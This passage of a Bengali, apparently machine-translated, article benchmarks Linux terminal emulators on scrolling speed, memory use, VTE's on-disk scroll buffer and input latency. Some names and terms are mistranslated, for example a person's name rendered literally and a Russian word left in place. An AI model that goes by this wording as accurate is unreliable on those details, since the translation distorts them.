এখানে আমরা প্রতিযোগিতার rxvt এবং st টান দেখতে পাচ্ছি, তার পরে অনেক নতুন অ্যালাক্রিটি, যা পারফরম্যান্সের উপর মনোযোগ দিয়ে ডিজাইন করা হয়েছে। এর পরে রয়েছে Xfce (VTE পরিবার) এবং কনসোল, যেগুলি প্রায় দ্বিগুণ দ্রুত। শেষটি হল xterm, যা rxvt এর চেয়ে পাঁচগুণ ধীর। পরীক্ষার সময়, xtermও অনেক ঢেউ খেলেছে, টেক্সট পাস করা কঠিন করে তুলেছে এমনকি এটি একই লাইন হলেও। কনসোল দ্রুত ছিল, কিন্তু এটি মাঝে মাঝে চতুর ছিল: ডিসপ্লেটি সময়ে সময়ে স্থির হয়ে যেত, আংশিক পাঠ্য দেখায় বা একেবারেই দেখায় না। অন্যান্য টার্মিনালগুলি স্পষ্টভাবে স্ট্রিংগুলি প্রদর্শন করে, যার মধ্যে st, Alacritty এবং rxvt।

ডিকি ব্যাখ্যা করেছেন যে বিভিন্ন টার্মিনালে স্ক্রোল বাফারের নকশার কারণে পারফরম্যান্সের পার্থক্য রয়েছে। বিশেষ করে, তিনি rxvt এবং অন্যান্য টার্মিনালকে "সাধারণ নিয়ম অনুসরণ না করার" অভিযোগ করেছেন:

"xterm এর বিপরীতে, rxvt সমস্ত আপডেট প্রদর্শন করার চেষ্টা করেনি। যদি এটি পিছিয়ে পড়ে তবে এটি ধরার জন্য কিছু আপডেট প্রত্যাখ্যান করবে। এটি অভ্যন্তরীণ মেমরি সংস্থার চেয়ে আপাত স্ক্রোলিং গতির উপর একটি বৃহত্তর প্রভাব ফেলেছিল। একটি ত্রুটি ছিল যে ASCII অ্যানিমেশন কিছুটা ভুল ছিল।"

এই অনুভূত এক্সটার্ম অলসতা ঠিক করতে, ডিকি রিসোর্স ব্যবহার করার পরামর্শ দেন দ্রুতস্ক্রোল, প্রবাহের সাথে তাল মিলিয়ে চলতে xterm-কে কিছু স্ক্রীন আপডেট বাতিল করার অনুমতি দেয়। আমার পরীক্ষা নিশ্চিত করে যে ফাস্টস্ক্রোল কর্মক্ষমতা উন্নত করে এবং xtermকে rxvt-এর সাথে সমান করে নিয়ে আসে। যদিও এটি একটি মোটামুটি ক্রাচ, যেমন ডিকি নিজেই ব্যাখ্যা করেছেন: "কখনও কখনও xterm - কনসোলের মতো - কিছু মুছে ফেলার পরে স্ক্রিন আপডেটের একটি নতুন সেটের জন্য অপেক্ষা করার কারণে এটি স্থবির বলে মনে হয়।" এই শিরায়, মনে হয় যে অন্যান্য টার্মিনালগুলি গতি এবং প্রদর্শনের অখণ্ডতার মধ্যে সেরা আপস খুঁজে পেয়েছে।

সম্পদ খরচ

পারফরম্যান্স মেট্রিক হিসাবে স্ক্রোলিং গতি বিবেচনা করা বোধগম্য কিনা তা নির্বিশেষে, এই পরীক্ষাটি আমাদের টার্মিনালগুলিতে লোড অনুকরণ করতে দেয়, যা আমাদের মেমরি বা ডিস্ক ব্যবহারের মতো অন্যান্য পরামিতিগুলি পরিমাপ করতে দেয়। নির্দিষ্ট পরীক্ষা চালিয়ে মেট্রিক্স প্রাপ্ত হয়েছিল SeQ পাইথন প্রক্রিয়া পর্যবেক্ষণের অধীনে। তিনি মিটারের তথ্য সংগ্রহ করেন গেট্রুসেজ() থেকে ru_maxrss, পরিমাণ ru_oublock и ru_inblock এবং একটি সাধারণ টাইমার।

এই পরীক্ষায়, ST 8 MB এর সর্বনিম্ন গড় মেমরি খরচের সাথে প্রথম স্থান অধিকার করে, যা ডিজাইনের মূল ধারণাটি সরলতা বিবেচনা করে অবাক হওয়ার কিছু নেই। mlterm, xterm এবং rxvt একটু বেশি খরচ করে - প্রায় 12 এমবি। আরেকটি উল্লেখযোগ্য ফলাফল হল অ্যালাক্রিটি, যা চালানোর জন্য 30 এমবি প্রয়োজন। তারপরে 40 থেকে 60 এমবি পরিসংখ্যান সহ ভিটিই পরিবারের টার্মিনাল রয়েছে, যা অনেক বেশি। এই খরচটি ব্যাখ্যা করা যেতে পারে যে এই টার্মিনালগুলি উচ্চ-স্তরের লাইব্রেরি ব্যবহার করে, উদাহরণস্বরূপ, GTK। কনসোল পরীক্ষার সময় 65MB মেমরি খরচের সাথে সর্বশেষে আসে, যদিও এটি এর বৈশিষ্ট্যগুলির বিস্তৃত পরিসরের দ্বারা ন্যায়সঙ্গত হতে পারে।

দশ বছর আগে প্রাপ্ত পূর্ববর্তী ফলাফলের তুলনায়, সমস্ত প্রোগ্রাম লক্ষণীয়ভাবে আরও মেমরি গ্রাস করতে শুরু করে। Xterm-এর জন্য আগে 4 MB প্রয়োজন, কিন্তু এখন স্টার্টআপের সময় 15 MB প্রয়োজন৷ rxvt-এর জন্য একইভাবে খরচ বৃদ্ধি পেয়েছে, যার জন্য এখন বাক্সের বাইরে 16 MB প্রয়োজন। Xfce টার্মিনাল 34 MB নেয়, যা আগের তুলনায় তিনগুণ বড়, কিন্তু GNOME টার্মিনালের জন্য শুধুমাত্র 20 MB প্রয়োজন। অবশ্যই, পূর্ববর্তী সমস্ত পরীক্ষা 32-বিট আর্কিটেকচারে করা হয়েছিল। এলসিএ 2012 এ মরিচা রাসেল আমাকে বলা, যে আরও অনেক সূক্ষ্ম কারণ রয়েছে যা মেমরি খরচ বৃদ্ধিকে ব্যাখ্যা করতে পারে। বলা হয়েছে যে, আমরা এখন এমন এক সময়ে বাস করি যেখানে আমাদের গিগাবাইট মেমরি আছে, তাই আমরা কোনোভাবে পরিচালনা করব।

যাইহোক, আমি সাহায্য করতে পারি না তবে অনুভব করতে পারি যে টার্মিনালের মতো মৌলিক কিছুতে আরও মেমরি বরাদ্দ করা সম্পদের অপচয়। এই প্রোগ্রামগুলি সবচেয়ে ছোট হওয়া উচিত, যেকোনো "বক্স", এমনকি একটি জুতার বাক্সেও চালানো উচিত, যদি আমরা কখনও এমন পর্যায়ে আসি যেখানে তাদের লিনাক্স সিস্টেমের সাথে সজ্জিত করা প্রয়োজন (এবং আপনি জানেন যে এটি হবে ) কিন্তু এই সংখ্যাগুলির সাথে, মেমরির ব্যবহার ভবিষ্যতে একটি সমস্যা হয়ে উঠবে যে কোনো পরিবেশে কয়েকটি হালকা এবং সবচেয়ে সীমিত ক্ষমতা ছাড়া একাধিক টার্মিনাল চলমান। এর জন্য ক্ষতিপূরণ দিতে, GNOME টার্মিনাল, কনসোল, urxvt, টার্মিনেটর এবং Xfce টার্মিনালের একটি ডেমন মোড রয়েছে যা আপনাকে একটি একক প্রক্রিয়ার মাধ্যমে একাধিক টার্মিনাল নিয়ন্ত্রণ করতে দেয়, তাদের মেমরি খরচ সীমিত করে।

আমার পরীক্ষা চলাকালীন, আমি ডিস্ক রিড-রাইট সংক্রান্ত আরেকটি অপ্রত্যাশিত ফলাফলে এসেছি: আমি এখানে কিছুই দেখতে পাব না বলে আশা করি, কিন্তু দেখা গেল যে কিছু টার্মিনাল ডিস্কে সবচেয়ে বেশি পরিমাণে ডেটা লেখে। সুতরাং, ভিটিই লাইব্রেরি আসলে ডিস্কে একটি স্ক্রোল বাফার রাখে (এই বৈশিষ্ট্যটি 2010 সালে ফিরে লক্ষ্য করা হয়েছিল, এবং এটি এখনও ঘটছে)। কিন্তু পুরানো বাস্তবায়নের বিপরীতে, এখন অন্তত এই ডেটাটি AES256 GCM ব্যবহার করে এনক্রিপ্ট করা হয়েছে (সংস্করণ 0.39.2 থেকে) কিন্তু একটি যুক্তিসঙ্গত প্রশ্ন উঠেছে: ভিটিই লাইব্রেরির এত বিশেষত্ব কী যে এটি বাস্তবায়নের জন্য এমন একটি অ-মানক পদ্ধতির প্রয়োজন ...

উপসংহার

নিবন্ধের প্রথম অংশে, আমরা দেখতে পেয়েছি যে VTE-ভিত্তিক টার্মিনালগুলির বৈশিষ্ট্যগুলির একটি ভাল সেট রয়েছে, কিন্তু এখন আমরা দেখতে পাচ্ছি যে এটি কিছু পারফরম্যান্স খরচের সাথে আসে। এখন মেমরি একটি সমস্যা নয় কারণ সমস্ত VTE টার্মিনাল একটি ডেমন প্রক্রিয়ার মাধ্যমে নিয়ন্ত্রণ করা যেতে পারে, যা তাদের ক্ষুধা সীমিত করে। যাইহোক, পুরানো সিস্টেমে যেগুলির RAM এবং কার্নেল বাফারের পরিমাণে শারীরিক সীমাবদ্ধতা রয়েছে তাদের এখনও টার্মিনালগুলির পূর্ববর্তী সংস্করণগুলির প্রয়োজন হতে পারে, কারণ তারা উল্লেখযোগ্যভাবে কম সংস্থান ব্যবহার করে। যদিও ভিটিই টার্মিনালগুলি থ্রুপুট (স্ক্রলিং) পরীক্ষায় ভাল পারফর্ম করেছে, তাদের ডিসপ্লে লেটেন্সি জিনোম ইউজার গাইডে সেট থ্রেশহোল্ডের উপরে। VTE বিকাশকারীদের সম্ভবত এটি বিবেচনা করা উচিত। যদি আমরা বিবেচনা করি যে এমনকি নবজাতক লিনাক্স ব্যবহারকারীদের জন্য একটি টার্মিনালের মুখোমুখি হওয়া অনিবার্য, তারা এটিকে আরও ব্যবহারকারী বান্ধব করে তুলতে পারে। অভিজ্ঞ গীকদের জন্য, ডিফল্ট টার্মিনাল থেকে স্যুইচ করার অর্থ হতে পারে চোখের কম চাপ এবং দীর্ঘ কাজের সেশনের কারণে ভবিষ্যতের কাজ-সম্পর্কিত আঘাত এবং অসুস্থতা এড়ানোর ক্ষমতা। দুর্ভাগ্যবশত, শুধুমাত্র পুরানো xterm এবং mlterm আমাদের 10 মিলিসেকেন্ডের ম্যাজিক পিং থ্রেশহোল্ডে নিয়ে আসে, যা অনেকের জন্য অগ্রহণযোগ্য।

বেঞ্চমার্ক পরিমাপও দেখায় যে লিনাক্স গ্রাফিকাল পরিবেশের বিকাশের কারণে, বিকাশকারীদের অনেকগুলি আপস করতে হয়েছিল। কিছু ব্যবহারকারী নিয়মিত উইন্ডো ম্যানেজার দেখতে চাইতে পারেন কারণ তারা উল্লেখযোগ্য পিং হ্রাস প্রদান করে। দুর্ভাগ্যবশত, ওয়েল্যান্ডের জন্য লেটেন্সি পরিমাপ করা সম্ভব ছিল না: আমি যে টাইপোমিটার প্রোগ্রামটি ব্যবহার করেছি তা ওয়েল্যান্ডকে প্রতিরোধ করার জন্য তৈরি করা হয়েছে: অন্যান্য উইন্ডোতে গুপ্তচরবৃত্তি। আমি আশা করি যে ওয়েল্যান্ড কম্পোজিটিং X.org এর থেকে ভাল পারফর্ম করবে, এবং আমিও আশা করি যে ভবিষ্যতে কেউ এই পরিবেশে লেটেন্সি পরিমাপ করার উপায় খুঁজে পাবে।

উত্স: www.habr.com